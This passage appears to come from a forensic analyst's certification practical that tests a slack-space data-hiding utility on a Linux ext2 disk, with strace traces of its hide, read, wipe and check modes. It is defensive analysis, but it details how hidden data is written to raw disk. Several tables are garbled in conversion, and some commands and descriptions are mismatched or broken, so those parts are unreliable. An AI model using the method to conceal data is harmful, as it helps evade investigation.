Here we test the success of the previous wipe command, even though the write command returned errors, it appears to have wiped, i.e., erased the secret slack space data successfully.

Here we verify that no changes to the size of the original file have occurred.

We re-write data again to slack space

We retrieve the data from slack space

We copy the slack space data to another file

We have explored all functionality of the prog utility in the basic file analysis section. We tested the `-m list sector numbers,' `-c extract a copy from the raw device,' `-s display
data, `-p` place data,` and `-w` wipe' functionality. We were able to identify two possible bugs with the --w and --frag options, though neither seemed to inhibit the core functionality of the `prog` utility.

### Small File Analysis

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>while true; do echo -n '0'; done</td>
<td>Here we create a 1024 byte file filled with zeroes.</td>
</tr>
<tr>
<td>ls -l data</td>
<td>Here we ensure that the file size is 1024 bytes via use of the <code>ls</code> command with the <code>-l</code> list argument.</td>
</tr>
<tr>
<td>./prog --chk ./data</td>
<td>Again, this makes sense, as only one block is dedicated to slack, there is no chance for non-contiguous blocks, i.e., fragmentation.</td>
</tr>
<tr>
<td>./prog --checkfrag ./data</td>
<td>Here we see that <code>prog</code> finds 3072 bytes of slack space available.</td>
</tr>
<tr>
<td>./prog --sb ./data</td>
<td>We verify the size of our file.</td>
</tr>
<tr>
<td>let sum=3072+1024; echo $sum</td>
<td>Here we add the slack space predicted to be available by the <code>prog</code> utility (3072 bytes) to the size of the file (1024 bytes), showing that the sum is the size of the block (4096 bytes) as expected.</td>
</tr>
</tbody>
</table>

The small file analysis shows us that the `prog` utility is accurately calculating the amount of available slack space for a file that only partially fills one block.

### Large File Analysis

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>while true; do echo -n '0'; done</td>
<td>Here we create a 15000 byte file, filled with zeroes.</td>
</tr>
<tr>
<td>ls -l big_data_file</td>
<td>We verify the size of our file.</td>
</tr>
<tr>
<td>./prog --mode-chk ./big_data_file -v</td>
<td>We again see an apparent bug with the <code>prog</code> utility, which tells us that no slack space exists for the file, even though we know that 1384 bytes</td>
</tr>
</tbody>
</table>
In the large file analysis, we see that the `prog` utility acts as expected with regards to identification of 1384 bytes of slack space in the 4th allocated block for the `big_data_file` file. We also see the bug with the ‘chk’ and ‘frag’ arguments as noted before.

This concludes the functionality analysis. In summary, we have tested and verified all documented functionality of the `prog` utility. We have also identified 3 bugs in the ‘frag’ functionality, which does not display fragmentation information, as advertised in the documentation, we verified that that the ‘chk’ option does not accurately identify available slack space, and lastly we identified what appears to be a benign error in the wipe function, which seems to wipe the slack space hidden data successfully, even though it returns write errors to the STDOUT stream. Basically we see that the `prog` utility is quite capable of both storing and retrieving hidden data from slack space on a Linux Ext2 filesystem.
**Step by step functionality analysis: Observing prog’s system calls with the strace utility**

For analysis purposes, the prog binary may be considered a black box. As with observation of any black box, an effective means of analysis is to consider the input/output. As with most modern operating systems, Linux and other Unix executables must interact with the Operating System kernel to access system resources, including network hardware, hard-disks, processors, memory, etc. Linux and Unix are designed to facilitate this interaction through the use of interactions called ‘system calls’. System calls are actions taken by programs to interface with the operating system kernel to use system resources. The operating system kernel is a piece of software whose purpose, among other things, is to provide a software interface to the computer systems hardware components for system applications.

**Strace** is a Unix utility designed to trace the system call actions associated with a program at the user/kernel boundary (see strace(1) Linux man page). It is highly useful to the forensics analyst as a tool to analyze system calls taken by unknown binaries. Strace effectively monitors the unknown binary’s interaction with the rest of the computer.

We will employ strace with the following arguments:

<table>
<thead>
<tr>
<th>Strace Option</th>
<th>Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td>-o output_file</td>
<td>This option tells strace to write the output to a file called output_file</td>
</tr>
<tr>
<td>-r</td>
<td>This option prints a time-stamp of each system call relative to the beginning of the program.</td>
</tr>
<tr>
<td>-s 10000</td>
<td>This option ensures that strings will be printed up to 10000 characters. Strings longer than that will be truncated. This is necessary due to fact that the default string truncation limit is 32 characters.</td>
</tr>
<tr>
<td>-v</td>
<td>This option ensures that all system call details will be presented in the output file, instead of a more brief abbreviation</td>
</tr>
<tr>
<td>./prog &lt;arguments&gt;</td>
<td>This represents the command line invocation of the prog binary. The &lt;arguments&gt; will likely need to be modified to get an understanding of how the program behaves with different options.</td>
</tr>
</tbody>
</table>

Next, we will study the strace output for each of the slack space operations performed in the previous section entitled ‘Large File Analysis’

<table>
<thead>
<tr>
<th>Description</th>
<th>strace -r -v -x -s 10000 -o strace.prog.checkfrag ./prog --mode=checkfrag ./big_data_file -v</th>
</tr>
</thead>
<tbody>
<tr>
<td>The shell executes the program</td>
<td>0.000000 execve(&quot;./prog&quot;, [&quot;./prog&quot;, &quot;;mode=checkfrag&quot;, &quot;;big_data_file&quot;, &quot;;-v&quot;], [/* 24 vars */]) = 0</td>
</tr>
</tbody>
</table>
0.000369 fcntl64(0, F_GETFD) = 0
0.000188 fcntl64(1, F_GETFD) = 0
0.000056 fcntl64(2, F_GETFD) = 0

Attach to standard file-descriptors STDIN (0), STDOUT (1), STDERR (2)

0.000087 uname(sysname="Linux", nodename="GCFA", release="2.4.20-8", version="#1 Thu Mar 13 17:54:28 EST 2003", machine="i686") = 0

Understand system specifications via uname system call

0.000262 geteuid32() = 0
0.000052 getuid32() = 0
0.000049 getegid32() = 0
0.000046 getgid32() = 0

Get user/group identity information

0.000086 brk(0) = 0x80bedec
0.000063 brk(0x80be0c) = 0x80be0c
0.000053 brk(0x80bf000) = 0x80bf000
0.000056 brk(0x80c00000) = 0x80c0000

Set end of data segments (see brk(2) Linux man page)

0.000188 lstat64('./big_data_file', {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04, st_ctime=2004/01/05-15:21:04}) = 0

Lstat gets stats info for the symbolic link

0.000606 open('./big_data_file', O_RDONLY|O_LARGEFILE) = 3

Opens the file to file descriptor 3

0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0
0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0

Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3

0.000068 brk(0x80c2000) = 0x80c2000

Sets end of data segments (see brk(2) Linux man page)

0.000083 ioctl(3, FIBMAP, 0xbffff0c4) = 0
0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0
0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0
0.000057 ioctl(3, FIBMAP, 0xbffff0c4) = 0

Sends FIBMAP request code to 2 memory address 2 different times

0.000057 close(3) = 0
0.000054 close(0) = 0

Closes file descriptors 3, 0

0.000155 write(2, "/big_data_file does not have fragmentation\n", 44) = 44

Write to STDOUT

0.000365 _exit(1)

Exit application with exit status 1.

strace -r -v -x -s 10000 -o strace.prog.chk ./prog --mode=chk
.
big_data_file -v

Description
```
0.000000 execve("./prog", ["./prog", "--mode=chk", "/big_data_file", "-v"], ["* 24 vars */]) = 0
The shell executes the program

0.000095 fcntl64(0, F_GETFD) = 0
0.000186 fcntl64(1, F_GETFD) = 0
0.000058 fcntl64(2, F_GETFD) = 0
Attach to standard file-descriptors STDIN (0), STDOUT (1), STDERR (2)

0.000069 uname(sysname="Linux", nodename="GCFA", 
release="2.4.20-8", version="#1 Thu Mar 13 17:54:28 EST 2003", 
machine="i686")) = 0
Understand system specifications via uname system call

0.000260 geteuid32() = 0
0.000053 getuid32() = 0
0.000048 getegid32() = 0
0.000047 getgid32() = 0
Get user/group identity information

0.000111 brk(0) = 0x80bedec
0.000070 brk(0x80bee0c) = 0x80bee0c
0.000055 brk(0x80b000) = 0x80b000
0.000056 brk(0x80c0000) = 0x80c0000
Set end of data segments(see brk(2)
Linux man page)

0.000192 lstat64("./big_data_file", {st_dev=makedev(3, 65), 
st_ino=12665163, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, 
st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, 
st_atime=2004/01/05 00:27:59, st_mtime=2004/01/05 15:21:04, 
st_ctime=2004/01/05 15:21:04}) = 0
Lstat gets stats info for the symbolic link

0.000603 open("./big_data_file", O_RDONLY|O_LARGEFILE) = 3
Opens the file to file descriptor 3

0.000105 ioctl(3, FIGETBSZ, 0xbffff1c4) = 0
Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3

0.000101 lstat64("/dev/hdb1", {st_dev=makedev(22, 3), 
st_ino=65661, st_mode=S_IFBLK|0660, st_nlink=1, st_uid=0, 
st_gid=6, st_blksize=4096, st_rdev=makedev(3, 65), 
st_atime=2003/01/30 03:24:36, st_mtime=2003/01/30 03:24:36, 
st_ctime=2003/05/14 09:24:59}) = 0
Lstat gets stats info for the symbolic link

0.000215 lstat64("/dev/hdb1", {st_dev=makedev(22, 3), 
st_ino=65661, st_mode=S_IFBLK|0660, st_nlink=1, st_uid=0, 
st_gid=6, st_blksize=4096, st_rdev=makedev(3, 65), 
st_atime=2003/01/30 03:24:36, st_mtime=2003/01/30 03:24:36, 
st_ctime=2003/05/14 09:24:59}) = 0
Lstat gets stats info for the symbolic link

0.000354 open("/dev/hdb1", O_RDONLY|O_LARGEFILE) = 4
Opens the raw disk device special file to reading on file descriptor 4

0.000106 ioctl(3, FIGETBSZ, 0xbffff134) = 0
Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3
```
0.000073 \text{brk}(0x80c2000) = 0x80c2000 \quad \text{Sets end of data segments (see \texttt{brk(2)} Linux man page)}

0.000092 \text{ioctl}(3, \text{FIBMAP}, 0xbffff1c4) = 0 \quad \text{Sends FIBMAP request code to file descriptor 3. Repeats 4 times.}

0.000060 \text{ioctl}(3, \text{FIBMAP}, 0xbffff1c4) = 0

0.000060 \text{ioctl}(3, \text{FIBMAP}, 0xbffff1c4) = 0

0.000060 \text{ioctl}(3, \text{FIBMAP}, 0xbffff1c4) = 0

0.000063 \text{llseek}(4, 14483020440, [14483020440], \text{SEEK_SET}) = 0 \quad \text{Repositions read/write file offset in file descriptor 4 to zero}

0.000071 \text{read}(4, \"x78x78x78x78\ldots x00\x00x00\ldots\ldots", 1384) = 1384 \quad \text{Raw data is read from the disk. The \ldots represents a long sequence of previous characters summing to 1384 bytes. This represents the action of the chk invocation. The \texttt{x78} represent the 'x' character.}

0.000063 \text{close}(3) = 0

0.000064 \text{close}(4) = 0 \quad \text{Close file descriptors 3,4}

0.000171 \text{write}(2, \text{"./big_data_file has slack\n"}, 26) = 26 \quad \text{Write output to STDERR}

0.000275 \_\text{exit}(0) = ? \quad \text{Exit with status 0}

\begin{tabular}{|c|c|}
\hline
\textbf{Description} & \\
\hline
\text{The shell executes the program} & \\
\hline
\text{Attach to standard file-descriptors STDIN (0), STDOUT (1), STDERR (2)} & \\
\hline
\text{Understand system specifications via \texttt{uname} system call} & \\
\hline
\text{Get user/group identity information} & \\
\hline
\end{tabular}
<table>
<thead>
<tr>
<th>Time</th>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.000088</td>
<td>brk(0) = 0x80bedec</td>
<td>Set end of data segments (see brk(2) Linux man page)</td>
</tr>
<tr>
<td>0.000065</td>
<td>brk(0x80bee0c) = 0x80bee0c</td>
<td></td>
</tr>
<tr>
<td>0.000054</td>
<td>brk(0x80bf000) = 0x80bf000</td>
<td></td>
</tr>
<tr>
<td>0.000056</td>
<td>brk(0x80c0000) = 0x80c0000</td>
<td></td>
</tr>
<tr>
<td>0.000182</td>
<td>lstat64(&quot;./big_data_file&quot;, {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG</td>
<td>0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04, st_ctime=2004/01/05-15:21:04}) = 0</td>
</tr>
<tr>
<td>0.000598</td>
<td>open(&quot;./big_data_file&quot;, O_RDONLY</td>
<td>O_LARGEFILE) = 3</td>
</tr>
<tr>
<td>0.001050</td>
<td>ioctl(3, FIGETBSZ, 0xbfffe4c4) = 0</td>
<td>Issues FIGETBSZ request code to memory address on file descriptor 3.</td>
</tr>
<tr>
<td>0.000097</td>
<td>lstat64(&quot;./big_data_file&quot;, {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG</td>
<td>0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04, st_ctime=2004/01/05-15:21:04}) = 0</td>
</tr>
<tr>
<td>0.000214</td>
<td>lstat64(&quot;/dev/hdb1&quot;, {st_dev=makedev(22, 3), st_ino=65661, st_mode=S_IFBLK</td>
<td>0660, st_nlink=1, st_uid=0, st_gid=6, st_blksize=4096, st_blocks=0, st_rdev=makedev(3, 65), st_atime=2003/01/30-03:24:36, st_mtime=2003/01/30-03:24:36, st_ctime=2003/05/14-09:24:59}) = 0</td>
</tr>
<tr>
<td>0.000187</td>
<td>open(&quot;/dev/hdb1&quot;, O_RDONLY</td>
<td>O_LARGEFILE) = 4</td>
</tr>
<tr>
<td>0.000095</td>
<td>ioctl(3, FIGETBSZ, 0xbfffe434) = 0</td>
<td>Read from raw disk device</td>
</tr>
<tr>
<td>0.000069</td>
<td>brk(0x80c2000) = 0x80c2000</td>
<td>Set end of data segments (see brk(2) Linux man page)</td>
</tr>
<tr>
<td>0.000091</td>
<td>ioctl(3, FIBMAP, 0xbfffe4c4) = 0</td>
<td>Sends FIBMAP request code to file descriptor 3. Repeats 4 times.</td>
</tr>
<tr>
<td>0.000183</td>
<td>write(2, &quot;stuffing block 3535893\n&quot;, 23) = 23</td>
<td>Write to STDERR</td>
</tr>
<tr>
<td>0.000296</td>
<td>write(2, &quot;file size was: 15000\n&quot;, 21) = 21</td>
<td></td>
</tr>
<tr>
<td>0.000150</td>
<td>write(2, &quot;slack size: 1384\n&quot;, 17) = 17</td>
<td></td>
</tr>
<tr>
<td>0.000140</td>
<td>write(2, &quot;block size: 4096\n&quot;, 17) = 17</td>
<td></td>
</tr>
<tr>
<td>0.000133</td>
<td>llseek(4, 14483020440, [14483020440], SEEK_SET) = 0</td>
<td>Repositions read/write file offset in file descriptor 4 to appropriate offset</td>
</tr>
</tbody>
</table>
### Description

<table>
<thead>
<tr>
<th>Step</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.000077</td>
<td>read(0, &quot;xxxxx....&quot;, 1384) = 1284</td>
</tr>
<tr>
<td>0.0000606</td>
<td>write(4, &quot;xxxxx....&quot;, 1284) = 1284</td>
</tr>
<tr>
<td>0.000644</td>
<td>close(3) = 0</td>
</tr>
<tr>
<td>0.000062</td>
<td>close(4) = 0</td>
</tr>
<tr>
<td>0.000141</td>
<td>_exit(0) = ?</td>
</tr>
</tbody>
</table>

### strace -r -v -x -s 10000 -o strace.prog.sb ./prog --mode=sb ./big_data_file

<table>
<thead>
<tr>
<th>Step</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.000000</td>
<td>execve(&quot;./prog&quot;, [&quot;./prog&quot;, &quot;,--mode=sb&quot;&quot;, &quot;/big_data_file&quot;, &quot;,-v&quot;], [/* 24 vars */]) = 0</td>
</tr>
<tr>
<td>0.000032</td>
<td>fcntl64(0, F_GETFD) = 0</td>
</tr>
<tr>
<td>0.000018</td>
<td>fcntl64(1, F_GETFD) = 0</td>
</tr>
<tr>
<td>0.000058</td>
<td>fcntl64(2, F_GETFD) = 0</td>
</tr>
<tr>
<td>0.000066</td>
<td>uname((sysname=&quot;Linux&quot;, nodename=&quot;GCFA&quot;, release=&quot;2.4.20-8&quot;, version=&quot;#1 Thu Mar 13 17:54:28 EST 2003&quot;, machine=&quot;i686&quot;)) = 0</td>
</tr>
<tr>
<td>0.000025</td>
<td>geteuid32() = 0</td>
</tr>
<tr>
<td>0.000053</td>
<td>getuid32() = 0</td>
</tr>
<tr>
<td>0.000049</td>
<td>getegid32() = 0</td>
</tr>
<tr>
<td>0.000047</td>
<td>getgid32() = 0</td>
</tr>
<tr>
<td>0.000086</td>
<td>brk(0) = 0x80bedec</td>
</tr>
<tr>
<td>0.000065</td>
<td>brk(0x80bee0c) = 0x80bee0c</td>
</tr>
<tr>
<td>0.000054</td>
<td>brk(0x80bf000) = 0x80bf000</td>
</tr>
<tr>
<td>0.000056</td>
<td>brk(0x80c0000) = 0x80c0000</td>
</tr>
<tr>
<td>0.0000182</td>
<td>lstat64(&quot;./big_data_file&quot;, {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG</td>
</tr>
<tr>
<td>0.0000605</td>
<td>open(&quot;./big_data_file&quot;, O_RDONLY</td>
</tr>
<tr>
<td>0.000102</td>
<td>ioctl(3, FIGETBSZ, 0xbffff644) = 0</td>
</tr>
<tr>
<td>0.000099</td>
<td>lstat64(&quot;./big_data_file&quot;, {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG</td>
</tr>
<tr>
<td>Time</td>
<td>Description</td>
</tr>
<tr>
<td>----------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>0.000217</td>
<td>lstat64(&quot;/dev/hdb1&quot;, {st_dev=makedev(22, 3), st_ino=65661, st_mode=S_IFBLK</td>
</tr>
<tr>
<td></td>
<td>Lstat gets stats info for the symbolic link.</td>
</tr>
<tr>
<td>0.000191</td>
<td>open(&quot;/dev/hdb1&quot;, O_RDONLY</td>
</tr>
<tr>
<td></td>
<td>Open raw disk for reading</td>
</tr>
<tr>
<td>0.000094</td>
<td>ioctl(3, FIGETBSZ, 0xbffff5b4) = 0</td>
</tr>
<tr>
<td></td>
<td>Issues FIGETBSZ request code on memory address to file descriptor 3.</td>
</tr>
<tr>
<td>0.000071</td>
<td>brk(0x80c2000) = 0x80c2000</td>
</tr>
<tr>
<td></td>
<td>Set end of data segments (see brk(2) Linux man page)</td>
</tr>
<tr>
<td>0.000088</td>
<td>ioctl(3, FIBMAP, 0xbffff644) = 0</td>
</tr>
<tr>
<td></td>
<td>Sends FIBMAP request code to file descriptor 3.</td>
</tr>
<tr>
<td></td>
<td>Repeats 4 times.</td>
</tr>
<tr>
<td>0.000082</td>
<td>lstat64(1, {st_dev=makedev(0, 6), st_ino=2, st_mode=S_IFCHR</td>
</tr>
<tr>
<td></td>
<td>Get stat info from file pointed to by file descriptor 1.</td>
</tr>
<tr>
<td>0.000178</td>
<td>old_mmap(NULL, 4096, PROT_READ</td>
</tr>
<tr>
<td></td>
<td>Get stat info on file pointed to be file descriptor STDIN</td>
</tr>
<tr>
<td>0.000122</td>
<td>_llseek(1, 0, 0xbffff3a0, SEEK_CUR) = -1 ESPIPE (illegal seek)</td>
</tr>
<tr>
<td></td>
<td>Repositions read/write file offset in file descriptor 1 to memory address</td>
</tr>
</tbody>
</table>
| 0.000224 | write(1, "1384
", 5) = 5                                                  |
|          | Write information to STDOUT                                               |
| 0.000263 | munmap(0x40000000, 4096) = 0                                               |
|          | Map file into memory                                                       |
| 0.000087 | close(3) = 0                                                               |
| 0.000059 | close(4) = 0                                                               |
| 0.000136 | _exit(0) = ?                                                                |
|          | Exit normally with exit status 0.                                           |

Jason_B_Anderson_GCFA
<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>strace -r -v -x -s 10000 -o strace.prog.s ./prog --mode=s ./big_data_file -v</code></td>
<td></td>
</tr>
<tr>
<td><code>.000000 execve(&quot;./prog&quot;, [&quot;./prog&quot;, &quot;:-mode=s&quot;, &quot;:/big_data_file&quot;, &quot;:-v&quot;], [&quot;24 vars &quot;:]) = 0</code></td>
<td>The shell executes the program</td>
</tr>
<tr>
<td><code>.000366 fnctl64(0, F_GETFD) = 0</code></td>
<td>Attach to standard file-descriptors STDIN (0), STDOUT (1), STDERR (2)</td>
</tr>
<tr>
<td><code>.000186 fnctl64(1, F_GETFD) = 0</code></td>
<td></td>
</tr>
<tr>
<td><code>.000056 fnctl64(2, F_GETFD) = 0</code></td>
<td></td>
</tr>
<tr>
<td><code>.000068 uname(sysname=&quot;Linux&quot;, nodename=&quot;GCFA&quot;, release=&quot;2.4.20-8&quot;, version=&quot;#1 Thu Mar 13 17:54:28 EST 2003&quot;, machine=&quot;i686&quot;) = 0</code></td>
<td>Understand system specifications via <code>uname</code> system call</td>
</tr>
<tr>
<td><code>.000254 geteuid32() = 0</code></td>
<td>Get user/group identity information</td>
</tr>
<tr>
<td><code>.000051 getuid32() = 0</code></td>
<td></td>
</tr>
<tr>
<td><code>.000048 getegid32() = 0</code></td>
<td></td>
</tr>
<tr>
<td><code>.000046 getgid32() = 0</code></td>
<td></td>
</tr>
<tr>
<td><code>.000085 brk(0) = 0x80bedec</code></td>
<td>Set end of data segments (see <code>brk(2)</code> Linux man page)</td>
</tr>
<tr>
<td><code>.000063 brk(0x80bee0c) = 0x80bee0c</code></td>
<td></td>
</tr>
<tr>
<td><code>.000052 brk(0x80bf000) = 0x80bf000</code></td>
<td></td>
</tr>
<tr>
<td><code>.000055 brk(0x80c0000) = 0x80c0000</code></td>
<td></td>
</tr>
<tr>
<td>`.0000602 open(&quot;./big_data_file&quot;, O_RDONLY</td>
<td>O_LARGEFILE) = 3`</td>
</tr>
<tr>
<td><code>.000098 ioctl(3, FIGETBSZ, 0xbfffdab4) = 0</code></td>
<td>Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3</td>
</tr>
<tr>
<td>`.000095 lstat64(&quot;./big_data_file&quot;, {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG</td>
<td>0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04, st_ctime=2004/01/05-15:21:04}) = 0`</td>
</tr>
<tr>
<td>`.0000211 lstat64(&quot;/dev/hdb1&quot;, {st_dev=makedev(22, 3), st_ino=65661, st_mode=S_IFBLK</td>
<td>0660, st_nlink=1, st_uid=0, st_gid=6, st_blksize=4096, st_blocks=0, st_rdev=makedev(3, 65), st_atime=2003/01/30-03:24:36, st_mtime=2003/01/30-03:24:36, st_ctime=2003/05/14-09:24:59}) = 0`</td>
</tr>
<tr>
<td>`.0000187 open(&quot;/dev/hdb1&quot;, O_RDONLY</td>
<td>O_LARGEFILE) = 4`</td>
</tr>
<tr>
<td><code>.000090 ioctl(3, FIGETBSZ, 0xbfffdab4) = 0</code></td>
<td>Read from raw disk device</td>
</tr>
<tr>
<td>Time (sec)</td>
<td>Description</td>
</tr>
<tr>
<td>-----------</td>
<td>-------------</td>
</tr>
<tr>
<td>0.000069</td>
<td><code>brk(0x80c2000) = 0x80c2000</code> Set end of data segments (see <code>brk(2)</code> Linux man page)</td>
</tr>
<tr>
<td>0.000066</td>
<td><code>ioctl(3, FIBMAP, 0xbfffd444) = 0</code> Sends FIBMAP request code to file descriptor 3. Repeats 4 times.</td>
</tr>
<tr>
<td>0.000179</td>
<td><code>write(2, &quot;getting from block 3535893\n&quot;, 27) = 27</code> Write output to STDERR</td>
</tr>
<tr>
<td></td>
<td><code>write(2, &quot;file size was: 15000\n&quot;, 21) = 21</code></td>
</tr>
<tr>
<td></td>
<td><code>write(2, &quot;slack size: 1384\n&quot;, 17) = 17</code></td>
</tr>
<tr>
<td></td>
<td><code>write(2, &quot;block size: 4096\n&quot;, 17) = 17</code></td>
</tr>
<tr>
<td>0.000128</td>
<td><code>_lseek(4, 14483020440, [14483020440], SEEK_SET) = 0</code> Repositions read/write file offset in file descriptor 1 to memory address</td>
</tr>
<tr>
<td>0.000074</td>
<td><code>read(4, &quot;&lt;1384 x'es&gt;\n&quot;, 1384) = 1384</code> Read 1384 x'es, representing the hidden information, from file descriptor 4</td>
</tr>
<tr>
<td>0.000845</td>
<td><code>write(1, &quot;&lt;1384 x'es&gt;\n&quot;, 1384) = 1384</code> Write hidden information from above to STDOUT</td>
</tr>
<tr>
<td>0.000984</td>
<td><code>close(3) = 0</code> Close file descriptors 3,4</td>
</tr>
<tr>
<td>0.000286</td>
<td><code>_exit(0) = ?</code> Exit normally with exit status 0</td>
</tr>
</tbody>
</table>

---

**strace**

```bash
strace -r -v -x -s 10000 -o strace.prog.w ./prog -mode=w ./big_data_file -v
```

<table>
<thead>
<tr>
<th>Time (sec)</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.000884</td>
<td><code>fcntl64(0, F_GETFD) = 0</code> Attach to standard file-descriptors STDIN (0), STDOUT (1), STDERR (2)</td>
</tr>
<tr>
<td>0.000180</td>
<td><code>fcntl64(1, F_GETFD) = 0</code></td>
</tr>
<tr>
<td>0.000057</td>
<td><code>fcntl64(2, F_GETFD) = 0</code></td>
</tr>
<tr>
<td>0.000067</td>
<td><code>uname({sysname=&quot;Linux&quot;, nodename=&quot;GCFA&quot;, release=&quot;2.4.20-8&quot;, version=&quot;#1 Thu Mar 13 17:54:28 EST 2003&quot;, machine=&quot;i686&quot;}) = 0</code> Understand system specifications via <code>uname</code> system call</td>
</tr>
<tr>
<td>0.000258</td>
<td><code>getuid32() = 0</code> Get user/group identity information</td>
</tr>
<tr>
<td>0.000053</td>
<td><code>getuid32() = 0</code></td>
</tr>
<tr>
<td>0.000049</td>
<td><code>getegid32() = 0</code></td>
</tr>
<tr>
<td>0.000048</td>
<td><code>getgid32() = 0</code></td>
</tr>
<tr>
<td>Time</td>
<td>Command</td>
</tr>
<tr>
<td>--------------</td>
<td>------------------------------------------------------------------------</td>
</tr>
<tr>
<td>0.000086</td>
<td>brk(0) = 0x80bedec</td>
</tr>
<tr>
<td>0.000065</td>
<td>brk(0x80bee0c) = 0x80bee0c</td>
</tr>
<tr>
<td>0.000053</td>
<td>brk(0x80bf000) = 0x80bf000</td>
</tr>
<tr>
<td>0.000056</td>
<td>brk(0x80c0000) = 0x80c0000</td>
</tr>
<tr>
<td>0.000193</td>
<td>lstat64(&quot;./big_data_file&quot;, {st_dev=makedev(3, 65), st_ino=12665163,</td>
</tr>
<tr>
<td></td>
<td>st_mode=S_IFREG</td>
</tr>
<tr>
<td></td>
<td>st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04,</td>
</tr>
<tr>
<td></td>
<td>st_ctime=2004/01/05-15:21:04) = 0</td>
</tr>
<tr>
<td>0.000614</td>
<td>open(&quot;./big_data_file&quot;, O_RDONLY</td>
</tr>
<tr>
<td>0.000099</td>
<td>ioctl(3, FIGETBSZ, 0xbfffe4c4) = 0</td>
</tr>
<tr>
<td>0.000098</td>
<td>lstat64(&quot;./big_data_file&quot;, {st_dev=makedev(3, 65), st_ino=12665163,</td>
</tr>
<tr>
<td></td>
<td>st_mode=S_IFREG</td>
</tr>
<tr>
<td></td>
<td>st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04,</td>
</tr>
<tr>
<td></td>
<td>st_ctime=2004/01/05-15:21:04) = 0</td>
</tr>
<tr>
<td>0.000221</td>
<td>lstat64(&quot;/dev/hdb1&quot;, {st_dev=makedev(22, 3), st_ino=65661, st_mode=S_IFBLK</td>
</tr>
<tr>
<td>0.000192</td>
<td>open(&quot;/dev/hdb1&quot;, O_WRONLY</td>
</tr>
<tr>
<td>0.000098</td>
<td>ioctl(3, FIGETBSZ, 0xbfffe434) = 0</td>
</tr>
<tr>
<td>0.000072</td>
<td>brk(0x80c2000) = 0x80c2000</td>
</tr>
<tr>
<td>0.000092</td>
<td>ioctl(3, FIBMAP, 0xbfffe4c4) = 0</td>
</tr>
<tr>
<td>0.000069</td>
<td>ioctl(3, FIBMAP, 0xbfffe4c4) = 0</td>
</tr>
<tr>
<td>0.000058</td>
<td>ioctl(3, FIBMAP, 0xbfffe4c4) = 0</td>
</tr>
<tr>
<td>0.000058</td>
<td>ioctl(3, FIBMAP, 0xbfffe4c4) = 0</td>
</tr>
<tr>
<td>0.000159</td>
<td>write2(&quot;Stuffing block 3535893\n&quot;, 23) = 23</td>
</tr>
<tr>
<td>0.000298</td>
<td>write2(&quot;file size was: 15000\n&quot;, 21) = 21</td>
</tr>
<tr>
<td>0.000150</td>
<td>write2(&quot;slack size: 1384\n&quot;, 17) = 17</td>
</tr>
<tr>
<td>0.000139</td>
<td>write2(&quot;block size: 4096\n&quot;, 17) = 17</td>
</tr>
<tr>
<td>0.000133</td>
<td>lseek(4, 14483020440, [14483020440], SEEK_SET) = 0</td>
</tr>
<tr>
<td>0.000093</td>
<td>write(4, &quot;\x00\x00\x00\x00...&quot;, 1384) = 1384</td>
</tr>
<tr>
<td>0.001731</td>
<td>write(2, &quot;write error\n&quot;, 12) = 12</td>
</tr>
</tbody>
</table>
### Forensic Details

#### Forensic footprints left by prog

The previous analysis facilitate by use of the `strace` command has allowed us to monitor and study all interactions with the system during each of its argument invocations. The following table summarizes footprints for each invocation:

<table>
<thead>
<tr>
<th>Program invocation mode</th>
<th>Purpose</th>
<th>Forensic footprints</th>
</tr>
</thead>
<tbody>
<tr>
<td>--mode=s</td>
<td>display data in slack space</td>
<td>No footprints are left during this invocation, as no writing to disk takes place.</td>
</tr>
<tr>
<td>--mode=m</td>
<td>List sector numbers</td>
<td>No footprints are left during this invocation, as no writing to disk takes place.</td>
</tr>
<tr>
<td>--mode=p</td>
<td>Place data in slack space</td>
<td>This invocation places arbitrary data in a files slack space, this information can be recovered via use of the <code>prog</code> utility, or any utility capable of reading disk contents from arbitrary disk locations.</td>
</tr>
<tr>
<td>Program invocation mode</td>
<td>Purpose</td>
<td>Files accessed by prog</td>
</tr>
<tr>
<td>-------------------------</td>
<td>---------</td>
<td>-----------------------</td>
</tr>
<tr>
<td><strong>--mode=s</strong></td>
<td>display data in slack space</td>
